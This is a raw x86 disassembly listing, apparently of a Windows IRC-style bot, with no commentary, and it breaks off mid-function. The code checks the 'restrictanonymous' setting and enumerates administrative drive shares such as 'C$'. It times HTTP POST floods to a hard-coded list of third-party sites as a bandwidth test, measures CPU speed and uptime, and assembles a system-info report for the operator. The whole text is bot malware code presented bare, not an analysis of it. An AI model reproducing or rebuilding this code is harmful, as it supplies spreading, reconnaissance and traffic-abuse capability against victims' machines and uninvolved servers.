		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_41A2A6
		push	offset dword_439D64
		jmp	short loc_41A2AB
; ---------------------------------------------------------------------------

loc_41A2A6:				; CODE XREF: sub_41A19D+100j
		push	offset dword_439D2C

loc_41A2AB:				; CODE XREF: sub_41A19D+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_41A2DE
; ---------------------------------------------------------------------------

loc_41A2C4:				; CODE XREF: sub_41A19D+E2j
		push	offset dword_439CF0
		jmp	short loc_41A2D0
; ---------------------------------------------------------------------------

loc_41A2CB:				; CODE XREF: sub_41A19D+13j
		push	offset dword_439B08

loc_41A2D0:				; CODE XREF: sub_41A19D+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A2DE:				; CODE XREF: sub_41A19D+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A2FD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A2FD:				; CODE XREF: sub_41A19D+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB06C, ebx
		pop	ecx
		jnz	loc_41A472
		push	edi
		mov	esi, offset off_4399D0
		mov	edi, 200h

loc_41A321:				; CODE XREF: sub_41A19D+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_418BBF
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A33C
		push	offset dword_439CD0
		jmp	short loc_41A341
; ---------------------------------------------------------------------------

loc_41A33C:				; CODE XREF: sub_41A19D+196j
		push	offset dword_439CA8

loc_41A341:				; CODE XREF: sub_41A19D+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A370
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A370:				; CODE XREF: sub_41A19D+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_4399E0
		jb	short loc_41A321
		nop
		call	near ptr 2870000h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A45A

loc_41A39B:				; CODE XREF: sub_41A19D+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A44F
		cmp	bl, 41h
		jz	loc_41A44F
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_0	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CAFD4
		cmp	eax, 3
		jnz	short loc_41A44F
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_418BBF
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A40D
		push	offset dword_439CD0
		jmp	short loc_41A412
; ---------------------------------------------------------------------------

loc_41A40D:				; CODE XREF: sub_41A19D+267j
		push	offset dword_439CA8

loc_41A412:				; CODE XREF: sub_41A19D+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A442
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A442:				; CODE XREF: sub_41A19D+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_41A44F:				; CODE XREF: sub_41A19D+206j
					; sub_41A19D+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A39B

loc_41A45A:				; CODE XREF: sub_41A19D+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_439C78
		push	eax
		call	sub_41B886
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A485
; ---------------------------------------------------------------------------

loc_41A472:				; CODE XREF: sub_41A19D+173j
		lea	eax, [ebp+var_220]
		push	offset dword_439A10
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A485:				; CODE XREF: sub_41A19D+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A4A3
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A4A3:				; CODE XREF: sub_41A19D+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A19D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4B7	proc near		; CODE XREF: sub_41A6AE+CBp
					; sub_41A6AE+DDp ...

arg_0		= dword	ptr  4

		nop
		call	near ptr 26A0688h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4D1	proc near		; CODE XREF: sub_41A6AE+D4p
					; sub_41A6AE+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A6AA
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41B590
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AAF9
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A6AA
		push	50h
		call	dword_4CAF74
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A6AA
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A6AA
		push	32003h
		call	sub_41CFC5
		mov	edi, dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41B8D8
		call	sub_41B8E2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41B590
		push	32000h
		push	esi
		push	ebx
		call	sub_41B590
		push	ebx
		call	sub_41AFE0
		push	323EAh
		mov	ebx, eax
		call	sub_41CFC5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41B886
		push	[ebp+var_8]
		push	esi
		call	sub_41BEC0
		push	offset asc_43381C ; "\r\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_41AFE0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41A62A
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41A5FA
; ---------------------------------------------------------------------------

loc_41A5F7:				; CODE XREF: sub_41A4D1+157j
		mov	eax, [ebp+arg_0]

loc_41A5FA:				; CODE XREF: sub_41A4D1+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41A60A
		push	[ebp+var_C]
		jmp	short loc_41A60B
; ---------------------------------------------------------------------------

loc_41A60A:				; CODE XREF: sub_41A4D1+132j
		push	ebx

loc_41A60B:				; CODE XREF: sub_41A4D1+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A691
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41A5F7

loc_41A62A:				; CODE XREF: sub_41A4D1+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_427714
		fst	[ebp+arg_0]
		fcomp	flt_427710
		fnstsw	ax
		sahf
		jnz	short loc_41A652
		fld1
		fstp	[ebp+arg_0]

loc_41A652:				; CODE XREF: sub_41A4D1+17Aj
		push	[ebp+var_4]
		call	dword_4CB00C
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_42770C
		fmul	flt_427708
		call	sub_41C798

loc_41A68C:				; CODE XREF: sub_41A4D1+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A691:				; CODE XREF: sub_41A4D1+149j
		push	[ebp+var_4]
		call	dword_4CB00C
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx

loc_41A6AA:				; CODE XREF: sub_41A4D1+19j
					; sub_41A4D1+42j ...
		xor	eax, eax
		jmp	short loc_41A68C
sub_41A4D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6AE	proc near		; CODE XREF: sub_401ACD+2E61p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		push	8
		mov	esi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A7AF
		test	eax, eax
		jz	short loc_41A7AB
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------

loc_41A7AB:				; CODE XREF: sub_41A6AE+F4j
		mov	ebx, esi
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------

loc_41A7AF:				; CODE XREF: sub_41A6AE+F0j
		mov	ebx, eax

loc_41A7B1:				; CODE XREF: sub_41A6AE+FBj
					; sub_41A6AE+FFj
		push	0Ch
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		push	0Ch
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A7E9
		test	eax, eax
		jz	short loc_41A7E5
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------

loc_41A7E5:				; CODE XREF: sub_41A6AE+12Ej
		mov	esi, edi
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------

loc_41A7E9:				; CODE XREF: sub_41A6AE+12Aj
		mov	esi, eax

loc_41A7EB:				; CODE XREF: sub_41A6AE+135j
					; sub_41A6AE+139j
		push	6
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		push	6
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A823
		test	eax, eax
		jz	short loc_41A81F
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41A825
; ---------------------------------------------------------------------------

loc_41A81F:				; CODE XREF: sub_41A6AE+168j
		mov	ecx, edi
		jmp	short loc_41A825
; ---------------------------------------------------------------------------

loc_41A823:				; CODE XREF: sub_41A6AE+164j
		mov	ecx, eax

loc_41A825:				; CODE XREF: sub_41A6AE+16Fj
					; sub_41A6AE+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41A832
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41A835
; ---------------------------------------------------------------------------

loc_41A832:				; CODE XREF: sub_41A6AE+17Bj
		push	2
		pop	edi

loc_41A835:				; CODE XREF: sub_41A6AE+182j
		test	esi, esi
		jz	short loc_41A83D
		add	eax, esi
		jmp	short loc_41A83E
; ---------------------------------------------------------------------------

loc_41A83D:				; CODE XREF: sub_41A6AE+189j
		dec	edi

loc_41A83E:				; CODE XREF: sub_41A6AE+18Dj
		test	ecx, ecx
		jz	short loc_41A846
		add	eax, ecx
		jmp	short loc_41A847
; ---------------------------------------------------------------------------

loc_41A846:				; CODE XREF: sub_41A6AE+192j
		dec	edi

loc_41A847:				; CODE XREF: sub_41A6AE+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_439E18
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A88B	proc near		; CODE XREF: sub_401ACD+25A0p
					; sub_401ACD+2A10p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	near ptr 26A0688h
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DB240
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A88B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8F4	proc near		; CODE XREF: sub_416F1A+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 26E065Ah
		test	eax, eax
		jz	short loc_41A987
		cmp	[ebp+var_90], 4
		jnz	short loc_41A95D
		cmp	[ebp+var_8C], esi
		jnz	short loc_41A945
		cmp	[ebp+var_84], 1
		jnz	short loc_41A938
		push	1
		pop	esi

loc_41A938:				; CODE XREF: sub_41A8F4+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41A987
		push	1
		jmp	short loc_41A986
; ---------------------------------------------------------------------------

loc_41A945:				; CODE XREF: sub_41A8F4+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41A952

loc_41A94E:				; CODE XREF: sub_41A8F4+78j
		push	2
		jmp	short loc_41A986
; ---------------------------------------------------------------------------

loc_41A952:				; CODE XREF: sub_41A8F4+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41A987
		jmp	short loc_41A977
; ---------------------------------------------------------------------------

loc_41A95D:				; CODE XREF: sub_41A8F4+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41A987
		cmp	[ebp+var_8C], esi
		jz	short loc_41A94E
		cmp	[ebp+var_8C], 1
		jnz	short loc_41A97B

loc_41A977:				; CODE XREF: sub_41A8F4+67j
		push	3
		jmp	short loc_41A986
; ---------------------------------------------------------------------------

loc_41A97B:				; CODE XREF: sub_41A8F4+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41A987
		push	7

loc_41A986:				; CODE XREF: sub_41A8F4+4Fj
					; sub_41A8F4+5Cj ...
		pop	esi

loc_41A987:				; CODE XREF: sub_41A8F4+25j
					; sub_41A8F4+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A8F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A98C	proc near		; CODE XREF: sub_41AA42+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h

loc_41A994:				; CODE XREF: sub_41A98C+2Fj
					; sub_41A98C+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	near ptr 2690000h
		nop
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41D410
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41A994
		jb	short loc_41A9C3
		cmp	ebx, esi
		ja	short loc_41A994

loc_41A9C3:				; CODE XREF: sub_41A98C+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41D480
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AA36
		jb	short loc_41A9E2
		cmp	esi, 50h
		jnb	short loc_41A9E7

loc_41A9E2:				; CODE XREF: sub_41A98C+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax

loc_41A9E7:				; CODE XREF: sub_41A98C+54j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41A9F2
		cmp	esi, 47h
		jnb	short loc_41A9F7

loc_41A9F2:				; CODE XREF: sub_41A98C+5Fj
		push	42h
		xor	edx, edx
		pop	eax

loc_41A9F7:				; CODE XREF: sub_41A98C+64j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA02
		cmp	esi, 37h
		jnb	short loc_41AA07

loc_41AA02:				; CODE XREF: sub_41A98C+6Fj
		push	32h
		xor	edx, edx
		pop	eax

loc_41AA07:				; CODE XREF: sub_41A98C+74j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA12
		cmp	esi, 26h
		jnb	short loc_41AA17

loc_41AA12:				; CODE XREF: sub_41A98C+7Fj
		push	21h
		xor	edx, edx
		pop	eax

loc_41AA17:				; CODE XREF: sub_41A98C+84j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA22
		cmp	esi, 1Eh
		jnb	short loc_41AA27

loc_41AA22:				; CODE XREF: sub_41A98C+8Fj
		push	19h
		xor	edx, edx
		pop	eax

loc_41AA27:				; CODE XREF: sub_41A98C+94j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA32
		cmp	esi, 0Ah
		jnb	short loc_41AA36

loc_41AA32:				; CODE XREF: sub_41A98C+9Fj
		xor	eax, eax
		xor	edx, edx

loc_41AA36:				; CODE XREF: sub_41A98C+4Dj
					; sub_41A98C+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A98C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA42	proc near		; CODE XREF: sub_401ACD+276Ep

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_43D128
		mov	[ebp+var_CC], 94h
		call	near ptr 26E065Ah
		nop
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AAC9
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAA5
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AA8F
		mov	[ebp+var_4], offset dword_43127C

loc_41AA8F:				; CODE XREF: sub_41AA42+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41AB44
		mov	[ebp+var_4], offset dword_431278
		jmp	short loc_41AB15
; ---------------------------------------------------------------------------

loc_41AAA5:				; CODE XREF: sub_41AA42+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AAB7
		mov	[ebp+var_4], offset dword_431274
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAB7:				; CODE XREF: sub_41AA42+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AB05
		mov	[ebp+var_4], offset dword_431270
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAC9:				; CODE XREF: sub_41AA42+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AB05
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAE3
		mov	[ebp+var_4], offset dword_43126C
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAE3:				; CODE XREF: sub_41AA42+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AAF5
		mov	[ebp+var_4], offset dword_431268
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAF5:				; CODE XREF: sub_41AA42+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AB0C

loc_41AB05:				; CODE XREF: sub_41AA42+7Cj
					; sub_41AA42+8Ej
		mov	[ebp+var_4], offset dword_431260

loc_41AB0C:				; CODE XREF: sub_41AA42+73j
					; sub_41AA42+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41AB44

loc_41AB15:				; CODE XREF: sub_41AA42+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41AB44
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_1	; "%s (%s)"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax

loc_41AB44:				; CODE XREF: sub_41AA42+54j
					; sub_41AA42+D1j ...
		mov	ax, word_437834
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CAE54

loc_41AB65:				; DATA XREF: sub_542C3C+17393o
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41AB7D
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax

loc_41AB7D:				; CODE XREF: sub_41AA42+12Cj
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CAFB4
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CAF2C
		cmp	eax, ebx
		jz	short loc_41ABA6
		push	dword ptr [eax]
		jmp	short loc_41ABAB
; ---------------------------------------------------------------------------

loc_41ABA6:				; CODE XREF: sub_41AA42+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"

loc_41ABAB:				; CODE XREF: sub_41AA42+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 2680B81h
		nop
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43A10C
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	near ptr 2750000h
		nop
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	near ptr 2740000h
		nop
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2880000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41B9D1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41A88B
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
